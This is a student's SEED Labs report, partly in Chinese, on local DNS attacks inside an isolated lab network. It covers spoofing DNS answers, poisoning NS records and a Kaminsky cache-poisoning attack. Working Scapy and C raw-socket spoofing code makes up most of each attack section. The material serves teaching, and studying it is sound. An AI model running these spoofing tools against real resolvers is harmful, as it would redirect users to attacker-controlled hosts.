【Seedlabs】Local DNS Attack Lab

一、实验概述

二、实验环境

2.1 测试 DNS 设置

三、实验内容

域名解析 Answers 毒化

2、域名解析 NS 毒化

3、kaminsky 攻击

一、实验概述

DNS (Domain Name System) is the Internet’s phone book; it translates hostnames to IP addresses (and vice versa). This translation is through DNS resolution, which happens behind the scene. DNS attacks manipulate this resolution process in various ways, with an intent to misdirect users to alternative destinations, which are often malicious. The objective of this lab is to understand how such attacks work. Students will fifirst set up and confifigure a DNS server, and then they will try various DNS attacks on the target that is also within the lab environment.

The diffificulties of attacking local victims versus remote DNS servers are quite different.Therefore, we have developed two labs, one focusing on local DNS attacks, and the other on remote DNS attack. This lab focuses on local attacks. This lab covers the following topics:

• DNS and how it works

• DNS server setup

• DNS cache poisoning attack

• Spoofifing DNS responses

• Packet sniffifing and spoofifing

• The Scapy tool

二、实验环境

2.1 测试 DNS 设置

$ dig ns.attacker32.com

将查询发送到我们的本地 DNS 服务器，该服务器会将查询
发送到 example.com 的官方名称服务器。
$ dig www.example.com

将查询直接发送到 ns.attacker32.com
$ dig @ns.attacker32.com www.example.com

三、实验内容

域名解析 Answers 毒化

实验步骤 ：

1. 在局域网内监听 udp 和 53 端口的流量。

2. 监听到 User 发出 DNS 请求报文的时候，使用 scapy 构造 DNS 应答报文。

在攻击者主机上伪造并发送DNS应答报文

#!/usr/bin/env python3
from scapy.all import *def spoof_dns(pkt):if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):    print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       # Swap the source and destination IP addressIPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)       # Swap the source and destination port numberUDPpkt = UDP(dport=pkt[UDP].sport, sport=53)# The Answer SectionAnssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4')       # The Authority SectionNSsec = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='ns.attacker32.com')              # Construct the DNS packetDNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=1,an=Anssec, ns=NSsec)# Construct the entire IP packet and send it outspoofpkt = IPpkt/UDPpkt/DNSpktsend(spoofpkt)# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and (src host 10.9.0.53 and dst port 53)"
pkt = sniff(iface='br-812da271e1ab',filter=MyFilter, prn=spoof_dns)

3. 执行命令$ dig www.example.com ，记录结果并解释原因

在欺骗代码中将Anssec的rdata参数设置为“1.2.3.4”，user主机接收到的应答包中www.example.com对应的ip地址则为“1.2.3.4”。

4. 执行命令$ dig mail.example.com ，记录结果并解释原因。

5.停止运行攻击脚本之后，重复步骤 3，记录结果并解释原因。

攻击者欺骗其他DNS服务器的响应，本地DNS服务器将在其缓存中保留一段时间。下次，当用户的机器希望解析相同的主机名时，它将从缓存中得到欺骗性的响应。攻击者只需要欺骗一次，这种影响将持续到缓存的信息过期为止。

2、域名解析 NS 毒化

实验步骤 ：

1. 在本地域名服务器出口处监听 udp 和 53 端口的流量。

2. 监听到本地域名服务器发出 DNS 请求报文的时候，使用 scapy 构造 DNS 应答报文。

#!/usr/bin/env python3
from scapy.all import *
def spoof_dns(pkt):if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):       print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))       # Swap the source and destination IP addressIPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)      # Swap the source and destination port numberUDPpkt = UDP(dport=pkt[UDP].sport, sport=53)# The Answer SectionAnssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='1.2.3.4')       # The Authority SectionNSsec= DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')            NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns1.attacker32.com')         # Construct the DNS packetDNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,an=Anssec, ns=NSsec/NSsec1)# Construct the entire IP packet and send it outspoofpkt = IPpkt/UDPpkt/DNSpktsend(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
MyFilter = "udp and (src host 10.9.0.53)"
pkt = sniff(iface='br-812da271e1ab',filter=MyFilter, prn=spoof_dns)

3.执行命令$ dig www.example.com ，记录结果并解释原因

4.执行命令$ dig mail.example.com ，记录结果并解释原因

在scapy代码中实现NS记录的欺骗，攻击成功后，在用户机器上为example.com域中的任何主机名运行dig命令时，都将获得ns.attacker32.com提供的假IP地址。

5.停止运行攻击脚本之后，重复步骤 3，记录结果并解释原因。

原因同上一步实验。攻击者欺骗其他DNS服务器的响应记录将存入本地DNS服务器缓存。下次，当用户的机器希望解析相同的主机名时，它将从缓存中得到欺骗性的响应。攻击者只需要欺骗一次，这种影响将持续到缓存的信息过期为止。

3、kaminsky 攻击

实验步骤 ：

1.攻击者主动向本地 DNS 服务器发起 DNS 请求。

#!/usr/bin/env python3
from scapy.all import *srcIP = '10.9.0.5'
dstIP = '10.9.0.53'IPpkt = IP(dst=dstIP, src=srcIP)
UDPpkt = UDP(dport=53, sport=50945,chksum=0)Qdsec = DNSQR(qname='hello.example.com')
DNSpkt = DNS(id=0xAAAA,qr=0,qdcount=1,qd=Qdsec)spoofpkt = IPpkt/UDPpkt/DNSpktwith open('ip_req.bin','wb') as f:f.write(bytes(spoofpkt))

2.伪造 DNS 响应报文，在合法响应返回之前，将伪造报文发送至本地 DNS 服务器上。

#!/usr/bin/env python3
from scapy.all import *srcIP = '199.43.135.53'
dstIP = '10.9.0.53'IPpkt = IP(dst=dstIP, src=srcIP)
UDPpkt = UDP(dport=33333, sport=53,chksum=0)Qdsec = DNSQR(qname='hello.example.com')Anssec = DNSRR(rrname='hello.example.com', type='A',ttl=259200, rdata='1.1.2.2')NSsec = DNSRR(rrname='example.com', type='NS',ttl=259200, rdata='ns.attacker32.com')            DNSpkt = DNS(id=0xAAAA,aa=1,rd=1,qr=0,qdcount=1,qd=Qdsec,ancount=1,an=Anssec,nscount=1,ns=NSsec)spoofpkt = IPpkt/UDPpkt/DNSpktwith open('ip_resp.bin','wb') as f:f.write(bytes(spoofpkt))

Attark.c程序，实现使用socket发送请求与响应包实施攻击

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include<time.h>#define MAX_FILE_SIZE 2000
#define TARGET_IP "10.9.0.53"
int send_packet_raw (int sock, char *ip, int n);
char* GenerateRand();int main()
{// Create raw socketint enable=1;int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));//####read Query.bin to ip1[] Start #########FILE *f1 = fopen("ip_req.bin", "rb");if (!f1) {perror("Can't open 'ip_req.bin'");exit(0);} unsigned char ip1[MAX_FILE_SIZE];int n1 = fread(ip1, 1, MAX_FILE_SIZE, f1);//####read Query.bin End #########//####read Reply.bin to ip2[]  Start #########FILE *f2 = fopen("ip_resp.bin", "rb");if (!f2) {perror("Can't open 'ip_resp.bin'");exit(0);} unsigned char ip2[MAX_FILE_SIZE];int n2 = fread(ip2, 1, MAX_FILE_SIZE, f2);//####read Reply.bin End#########srand((unsigned)time(NULL));for(int temp=0;temp<200;temp++) //重复200次{// #######send query Begin ############char*name=GenerateRand();// Modify the name in the question field (offset=41)memcpy(ip1+41,name, 5); send_packet_raw(sock, ip1, n1);// #######send query End ############//  #######send Mult reply Begin #########//  Modify the name in the question field (offset=41)memcpy(ip2+41, name , 5); // Modify the name in the answer field (offset=64)memcpy(ip2+64,name, 5);// Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53char c='\x87';memcpy(ip2+14,&c, 1);for (int id=1; id<400; id++){// Modify the transaction ID field (offset=28)unsigned short id_net_order;id_net_order = htons(id);memcpy(ip2+28, &id_net_order, 2); // Send the IP packet outsend_packet_raw(sock, ip2, n2);} // Modify the IP addr in the src IP field (offset=14) 199.43.135.53->199.43.133.53char c2='\x85';memcpy(ip2+14,&c2, 1); for (int id=1; id<400; id++){// Modify the transaction ID field (offset=28)unsigned short id_net_order;id_net_order = htons(id);memcpy(ip2+28, &id_net_order, 2); // Send the IP packet outsend_packet_raw(sock, ip2, n2);}// #######send Mult Reply End#########free(name);name=NULL; // A good habit for securityprintf("######\thave tried %d\t times, Start Next######### \n",temp);usleep(1000); //1000ms delay}close(sock);
}char* GenerateRand()
{char a[26]="abcdefghijklmnopqrstuvwxyz";
// Generate a random name of length 5char*name=malloc(5);for (int k=0; k<5; k++)name[k] = a[rand() % 26];return name;
}int send_packet_raw(int sock, char *ip, int n)
{struct sockaddr_in dest_info;dest_info.sin_family = AF_INET;dest_info.sin_addr.s_addr = inet_addr(TARGET_IP);int r = sendto(sock, ip, n, 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
}

3.执行命令$ dig www.example.com ，记录结果并解释原因。

使用上述attark代码攻击，利用的漏洞为一个时间差间隙,即在本地DNS服务器接收到伪造的example.com域名上的IP查询报文后,由于本地服务器并不可以解析,所以向example.com域服务器发送一个询问报文,真实的example.com域服务器IP经过查询后,如果伪造的IP地址存在,则返回IP,若不存在,则返回没有此主机名IP的结果。利用此间隙,伪造报文,并且在真实的DNS回复数据包之前到达本地DNS服务器,本地DNS服务器就会接受伪造的数据包,从而达到欺骗成功的目的。

但是在这一步实验时遇到了一些问题，首先是进行了很多次攻击也很难成功一次，并且在成功一次后分析抓包结果，和预期的有不同，我做出来的抓包结果为由本地DNS服务器直接返回伪造后的www.example.com域名的IP地址。